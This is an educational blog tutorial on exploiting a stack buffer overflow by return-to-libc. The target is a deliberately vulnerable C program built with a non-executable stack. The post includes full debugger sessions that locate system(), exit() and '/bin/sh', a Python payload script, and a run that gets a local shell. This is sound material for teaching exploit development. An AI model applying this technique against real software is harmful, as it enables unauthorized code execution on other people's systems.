By
Securitynik on 2020-05-22 16:26:31
echo get_avatar(get_the_author_email())?>
In the
previous post, we compiled the program with the "
-z execstack" option. This allowed us to execute shellcode on the stack. However, with non-executable stacks, we are unable to execute code on the stack.
Here we have a simple program similar to the last one.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
#include <stdio.h>
#include <string.h>
/*
To compile as 32 bit application
gcc -m32 -z noexecstack -o retLibC retLibC.c -mpreferred-stack-boundary=2
*/
int main(int argc, char *argv[])
{
// Define the buffer of 8 bytes
char userInput[8];
/* copy the contents of the first argument into user input.
Notice the problem already? userInput is 8 bytes but we
did not limit the number of bytes the users could input.
Like the previous post with gets() strcpy() is not checking
the user input. Thus the user can enter greater than 8 bytes.
*/
strcpy(userInput, argv[1]);
// Print the user input back to the screen.
printf("you entered %s \n", userInput);
return 0;
}
|
We then compile it as follow:
1
|
gcc -m32 -z noexecstack -o retLibC retLibC.c -mpreferred-stack-boundary=2
|
When we execute the program we get:
1
2
3
|
┌─[securitynik@securitynik]─[~]
└──╼ $./retLibC Welcome
You entered Welcome
|
If we entered more than the the buffer is configured for, we see we get a segmentation fault.
1
2
3
4
|
┌─[securitynik@securitynik]─[~]
└──╼ $./retLibC "Welcome to SecurityNik World!"
You entered Welcome to SecurityNik World!
Segmentation fault (core dumped)
|
If we look at the
dmesg file, we see below confirming the crash and the address of the Instruction Pointer (IP)
1
2
3
4
5
|
─[securitynik@securitynik]─[~]
└──╼ $sudo dmesg --human --ctime
[Fri May 15 02:05:05 2020] retLibC[7309]: segfault at 4e797469 ip 0>
[Fri May 15 02:05:05 2020] Code: Bad RIP value.
|
Similar to the
previous post, let's use a pattern again to find where the fault occurs.
First we create the pattern while printing it to the screen. Secondly, we send the pattern to a file to be used as input.
1
2
3
4
5
|
┌─[✗]─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
┌─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100 > libc.pattern
|
Now that we have a pattern, let's load up GDB.
1
2
3
4
5
6
|
┌─[✗]─[securitynik@securitynik]─[~]
└──╼ $gdb ./retLibC -q
pwndbg: loaded 187 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./retLibC...
(No debugging symbols found in ./retLibC)
|
Let's feed the
libc.pattern file as input to the program in GDB.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
pwndbg> run $(cat libc.pattern)
Starting program: /home/securitynik/retLibC $(cat libc.pattern)
You entered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x61413561 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
EAX 0x0
EBX 0x33614132 ('2Aa3')
ECX 0x0
EDX 0x56557018 ◂— 0x0
EDI 0xf7fac000 ◂— 0x1dfd6c
ESI 0xf7fac000 ◂— 0x1dfd6c
EBP 0x41346141 ('Aa4A')
ESP 0xffffd200 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
EIP 0x61413561 ('a5Aa')
────────────────────────────────────────[ DISASM ]─────────────────────────────────────────
Invalid address 0x61413561
─────────────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000│ esp 0xffffd200 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
01:0004│ 0xffffd204 ◂— 'Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
02:0008│ 0xffffd208 ◂— 'a9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
03:000c│ 0xffffd20c ◂— '0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
04:0010│ 0xffffd210 ◂— 'Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
05:0014│ 0xffffd214 ◂— 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
06:0018│ 0xffffd218 ◂— '4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
07:001c│ 0xffffd21c ◂— 'Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
───────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
► f 0 61413561
f 1 37614136
f 2 41386141
f 3 62413961
f 4 31624130
f 5 41326241
f 6 62413362
f 7 35624134
f 8 41366241
f 9 62413762
f 10 39624138
───────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
|
From above, we see
1
|
EIP 0x61413561 ('a5Aa')
|
We will use
msf-pattern_offset to find where the crash occurred. However, while we are here, let's look for a few things.
1. Location of the
system() function
2. Location of the
exit() function
3. Location of a shell. We can try to locate
/bin/sh or
/bin/bash
Let's find the
system() function first. This can be achieved by using the
print commands
1
2
|
pwndbg> print system
$1 = {<text variable, no debug info>} 0xf7e105f0 <system>
|
Using a similar method, let's find the
exit() function
1
2
|
pwndbg> print exit
$2 = {<text variable, no debug info>} 0xf7e03360 <exit>
|
We now have 2 out of our 3 things needed. For the shell, we may have that information in the environment variable. Let's see if we can find it there.
Let's set a break at
main() and verify its existence using
info break.
1
2
3
4
5
|
pwndbg> break main
Breakpoint 1 at 0x565561ad
pwndbg> info break
Num Type Disp Enb Address What
1 breakpoint keep y 0x565561ad <main+4>
|
Let's run the program again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
pwndbg> run Test
Starting program: /home/securitynik/retLibC Test
Breakpoint 1, 0x565561ad in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
EAX 0xf7fae808 (environ) —▸ 0xffffd300 —▸ 0xffffd49c ◂— 'SHELL=/bin/bash'
EBX 0x0
ECX 0x87198fdb
EDX 0xffffd284 ◂— 0x0
EDI 0xf7fac000 ◂— 0x1dfd6c
ESI 0xf7fac000 ◂— 0x1dfd6c
EBP 0xffffd258 ◂— 0x0
ESP 0xffffd254 ◂— 0x0
EIP 0x565561ad (main+4) ◂— sub esp, 8
────────────────────────────────────────[ DISASM ]─────────────────────────────────────────
► 0x565561ad <main+4> sub esp, 8
0x565561b0 <main+7> call __x86.get_pc_thunk.bx <0x565560b0>
0x565561b5 <main+12> add ebx, 0x2e4b
0x565561bb <main+18> mov eax, dword ptr [ebp + 0xc]
0x565561be <main+21> add eax, 4
0x565561c1 <main+24> mov eax, dword ptr [eax]
0x565561c3 <main+26> push eax
0x565561c4 <main+27> lea eax, [ebp - 0xc]
0x565561c7 <main+30> push eax
0x565561c8 <main+31> call strcpy@plt <0x56556040>
0x565561cd <main+36> add esp, 8
─────────────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000│ esp 0xffffd254 ◂— 0x0
... ↓
02:0008│ 0xffffd25c —▸ 0xf7deaef1 (__libc_start_main+241) ◂— add esp, 0x10
03:000c│ 0xffffd260 ◂— 0x2
04:0010│ 0xffffd264 —▸ 0xffffd2f4 —▸ 0xffffd47d ◂— '/home/securitynik/retLibC'
05:0014│ 0xffffd268 —▸ 0xffffd300 —▸ 0xffffd49c ◂— 'SHELL=/bin/bash'
06:0018│ 0xffffd26c —▸ 0xffffd284 ◂— 0x0
07:001c│ 0xffffd270 ◂— 0x1
───────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
► f 0 565561ad main+4
f 1 f7deaef1 __libc_start_main+241
───────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
|
If we look closely at the above, we see
1
|
05:0014│ 0xffffd268 —▸ 0xffffd300 —▸ 0xffffd49c ◂— 'SHELL=/bin/bash'
|
This tells us that
'SHELL=/bin/bash' can be found at
0xffffd49c. However, we don't need the entire string, we just need the part that has
/bin/bash. To do this lets add 6 bytes to
0xffffd49c. These 6 bytes represents "
SHELL=". Let's use GDB to confirm we are correct by looking at 1 String starting at address
0xffffd49c+6.
1
2
|
pwndbg> x/1s 0xffffd49c+6
0xffffd4a2: "/bin/bash"
|
Looks good. Let's now find
/bin/sh via the long way first.
If we look at the process memory mapping, we see
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
pwndbg> info proc mappings
process 7451
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x56555000 0x56556000 0x1000 0x0 /home/securitynik/retLibC
0x56556000 0x56557000 0x1000 0x1000 /home/securitynik/retLibC
0x56557000 0x56558000 0x1000 0x2000 /home/securitynik/retLibC
0x56558000 0x56559000 0x1000 0x2000 /home/securitynik/retLibC
0x56559000 0x5655a000 0x1000 0x3000 /home/securitynik/retLibC
0xf7dcc000 0xf7de9000 0x1d000 0x0 /usr/lib32/libc-2.30.so
0xf7de9000 0xf7f3b000 0x152000 0x1d000 /usr/lib32/libc-2.30.so
0xf7f3b000 0xf7faa000 0x6f000 0x16f000 /usr/lib32/libc-2.30.so
0xf7faa000 0xf7fac000 0x2000 0x1dd000 /usr/lib32/libc-2.30.so
0xf7fac000 0xf7fae000 0x2000 0x1df000 /usr/lib32/libc-2.30.so
0xf7fae000 0xf7fb0000 0x2000 0x0
0xf7fce000 0xf7fd0000 0x2000 0x0
0xf7fd0000 0xf7fd3000 0x3000 0x0 [vvar]
0xf7fd3000 0xf7fd4000 0x1000 0x0 [vdso]
0xf7fd4000 0xf7fd5000 0x1000 0x0 /usr/lib32/ld-2.30.so
0xf7fd5000 0xf7ff1000 0x1c000 0x1000 /usr/lib32/ld-2.30.so
0xf7ff1000 0xf7ffc000 0xb000 0x1d000 /usr/lib32/ld-2.30.so
0xf7ffc000 0xf7ffd000 0x1000 0x27000 /usr/lib32/ld-2.30.so
0xf7ffd000 0xf7ffe000 0x1000 0x28000 /usr/lib32/ld-2.30.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
|
Let's search the memory space of
/usr/lib32/libc-2.30.so for
/bin/sh. That starting address is
0xf7dcc000 with ending address
0xf7fae000. Running the
find command.
1
2
3
|
pwndbg> find 0xf7dcc000,0xf7fae000,"/bin/sh"
0xf7f54406
1 pattern found.
|
Above we see GDB reports 1 match found. Let's confirm this match by looking at the string at that address.
1
2
|
pwndbg> x/1s 0xf7f54406
0xf7f54406: "/bin/sh"
|
There it is, we found the /
bin/sh string.
The easier way to find that string since I am using "pwndbg", is to use the
search command.
1
2
|
pwndbg> search "/bin/sh"
libc-2.30.so 0xf7f54406 '/bin/sh'
|
At this point, we have the 3 things we mentioned above. The location of
system(),
exit() and the shell.
Let's use
/bin/sh in our example.
Here our "exploit" script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
#!/usr/bin/python
import struct
if __name__ == '__main__':
# Create a file to store payload which will be used as input to sample program.
input_fp = open('input-libC', 'w')
'''
Specify the location where the system() function can be found.
Convert the address to little endian
'''
system_location = struct.pack('<L', 0xf7e105f0)
'''
Specify the location where the exit() function can be found.
Convert the address to little endian
'''
exit_location = struct.pack('<L', 0xf7e03360)
'''
Specify the location where the exit() function can be found.
Convert the address to little endian
'''
bin_sh_location = struct.pack('<L', 0xf7f54406)
# put it all together. The 16 As overflow the buffer
ret_to_libC = "A"*16 + system_location + exit_location + bin_sh_location
print(ret_to_libC)
|
When we run this script, we see
1
2
3
|
┌─[securitynik@securitynik]─[~]
└──╼ $./exploit-retLibC.py
AAAAAAAAAAAAAAAA���`3��D��
|
Let's now test in GDB, starting with deleting the previously added breakpoint.
1
2
3
|
pwndbg> del breakpoints
pwndbg> info breakpoints
No breakpoints or watchpoints.
|
Using the exploit script as input to the program.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
pwndbg> run $(python exploit-retLibC.py)
Starting program: /home/securitynik/retLibC $(python exploit-retLibC.py)
You entered AAAAAAAAAAAAAAAA���`3��D��
[Attaching after process 7559 vfork to child process 7561]
[New inferior 2 (process 7561)]
[Detaching vfork parent process 7559 after child exec]
[Inferior 1 (process 7559) detached]
process 7561 is executing new program: /usr/bin/dash
[Attaching after process 7561 fork to child process 7562]
[New inferior 3 (process 7562)]
[Detaching after fork from parent process 7561]
[Inferior 2 (process 7561) detached]
process 7562 is executing new program: /usr/bin/dash
$
|
Looks like it works within GDB. Let's see if it also works outside of GDB.
Type
quit to exit GDB.
Running the script at the command prompt
1
2
3
4
5
6
7
|
┌─[securitynik@securitynik]─[~]
└──╼ $./retLibC $(python exploit-retLibC.py)
You entered AAAAAAAAAAAAAAAA���`3��D��
$ id --user
1000
$ uname --nodename --machine
securitynik x86_64
|
Above, we see we got a shell via "
/bin/sh"
That's it. See you in the next post.
References:
https://css.csail.mit.edu/6.858/2014/readings/return-to-libc.pdf
https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf
phrack.org/issues/58/4.html
https://www.youtube.com/watch?v=LBo56Xyowvk
https://www.youtube.com/watch?v=m17mV24TgwY
https://outflux.net/blog/archives/2014/01/27/fstack-protector-strong/
https://github.com/pwndbg/pwndbg